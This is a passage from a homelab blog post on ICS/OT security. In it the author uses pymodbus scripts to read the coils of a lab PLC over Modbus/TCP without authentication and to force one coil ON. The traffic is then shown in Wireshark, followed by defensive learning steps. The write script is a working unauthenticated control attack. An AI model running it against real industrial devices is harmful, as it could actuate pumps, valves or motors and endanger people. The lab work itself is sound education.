&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff1wkndftcfkozxo4bxg9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff1wkndftcfkozxo4bxg9.png" alt="Ignition Modbus driver configuration showing Connected" width="800" height="496"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point, two completely different HMIs are actively polling the exact same PLC. This reflects a realistic production environment—facilities frequently leverage redundant operator stations to track field equipment.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 3 — The Attack
&lt;/h2&gt;

&lt;p&gt;Here's where it gets uncomfortable.&lt;/p&gt;

&lt;p&gt;From my Ubuntu attacker machine — a completely separate physical asset on the subnet — I installed &lt;code&gt;pyModbus&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip3 &lt;span class="nb"&gt;install &lt;/span&gt;pymodbus

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First, I performed low-level reconnaissance to read the PLC's coil registers. Coils are binary outputs representing an &lt;strong&gt;ON&lt;/strong&gt; or &lt;strong&gt;OFF&lt;/strong&gt; state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pymodbus.client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ModbusTcpClient&lt;/span&gt;

&lt;span class="c1"&gt;# Connect directly to the PLC bypass target
&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ModbusTcpClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Read the first 8 digital output coils
&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_coils&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Coils Status:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Coils Status: [False, False, False, False, False, False, False, False]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All off. I can audit the live state of an industrial system with no login, no session token, and no authorization checks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fljt1whtxnnxvyx06vmh9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fljt1whtxnnxvyx06vmh9.png" alt="Read Command" width="799" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, I executed the injection write command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pymodbus.client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ModbusTcpClient&lt;/span&gt;

&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ModbusTcpClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Force the first coil to an assertive True state
&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_coil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Re-verify live register array status
&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_coils&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Coils After Manipulation:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Coils After Manipulation: [True, False, False, False, False, False, False, False]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Coil 0 successfully flipped to &lt;strong&gt;ON&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F404saint%2Fics-ot-homelab%2Fmain%2Fimages%2Fattacker-command%2520%28write%29.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F404saint%2Fics-ot-homelab%2Fmain%2Fimages%2Fattacker-command%2520%28write%29.png" alt="Write Command" width="800" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In a real industrial facility, that specific register might map directly to a water pump, an oil valve, or a conveyor motor. I just forced it to actuate from a completely unauthorized host on the network — entirely bypassing the monitoring systems.&lt;/p&gt;

&lt;p&gt;The scary part? The supervisory dashboards still thought everything was executing under native parameters. Nothing on the operator's display actively flagged that a raw protocol injection had overridden the logical controller.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 4 — Watching It in Wireshark
&lt;/h2&gt;

&lt;p&gt;I initialized Wireshark on the host workstation and isolated the interface traffic with a clean display filter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tcp.port == 502

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Re-running the manipulation script captured the raw, unencrypted execution blocks in real time: &lt;strong&gt;Function Code 01&lt;/strong&gt; (Read Coils) followed immediately by &lt;strong&gt;Function Code 05&lt;/strong&gt; (Write Single Coil).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmmly4owpd3f8hut6ztut.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmmly4owpd3f8hut6ztut.png" alt="Wireshark capturing raw Modbus function codes" width="800" height="409"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That unencrypted protocol exchange is the exact smoking gun industrial Network Detection and Response (NDR) tools like Claroty or Dragos actively hunt for inside production subnets.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Actually Means
&lt;/h2&gt;

&lt;p&gt;This isn't a toy exercise. The exact attack pattern demonstrated here maps directly to the foundational methodologies behind the most legendary industrial cyber weapons in history.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stuxnet (2010):&lt;/strong&gt; Did not target or alter the operator visual dashboards initially. Instead, it directly injected malicious payload variations into field PLCs to alter frequency generator drives, while simultaneously playing back cached, completely normal-looking telemetry to the SCADA interface. Operators watched normal screens while physical components were actively driven to catastrophic failure parameters underneath.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oldsmar Water Treatment Attack (2021):&lt;/strong&gt; An unauthorized entry manipulated an active HMI console to scale chemical additive targets to dangerous concentrations. While a vigilant operator manually intercepted the modification, the control layers lacked native automated validation structures to stop it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The underlying reality remains unchanged: &lt;strong&gt;the protocol tier treats network accessibility as complete authentication.&lt;/strong&gt; If you exist on an unsegmented OT network and speak native machine protocol, you are implicitly trusted.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where to Go From Here
&lt;/h2&gt;

&lt;p&gt;If this sparked your curiosity about infrastructure security, here is a clear path forward to build your skills:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Build this environment:&lt;/strong&gt; Spin up these containers and see it live. The complete guide and script parameters are completely open-source.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Master the industrial stack:&lt;/strong&gt; Start with Modbus/TCP, then branch into tougher operational protocols like DNP3 and OPC-UA.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Analyze threat taxonomies:&lt;/strong&gt; Study the &lt;strong&gt;MITRE ATT&amp;amp;CK for ICS&lt;/strong&gt; matrix to see how adversarial tactics map directly to register manipulation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deconstruct industry frameworks:&lt;/strong&gt; Review compliance goals established by the &lt;strong&gt;ISA/IEC 62443&lt;/strong&gt; zone protection standard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Architect network defense:&lt;/strong&gt; Deploy a simulated network inside &lt;strong&gt;GNS3&lt;/strong&gt;, split your layout into isolated zones, and build a proper firewall barrier to experience how defense actually works.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;ICS/OT security remains one of the most critical, high-stakes, and deeply underserved areas in the global security industry. The talent gap is massive, and you don't need a multi-thousand-dollar physical lab to learn the core engineering primitives.&lt;/p&gt;

&lt;p&gt;The alarming truth isn't that industrial infrastructure security is impossibly complex to learn. The alarming truth is how simple it is to exploit.&lt;/p&gt;




&lt;p&gt;The complete step-by-step setup documentation, structural notes, and attack scripts are completely documented and available at &lt;a href="https://github.com/404saint/ics-ot-homelab" rel="noopener noreferrer"&gt;github.com/404saint/ics-ot-homelab&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ics</category>
      <category>ot</category>
      <category>scada</category>
    </item>
  </channel>
</rss>
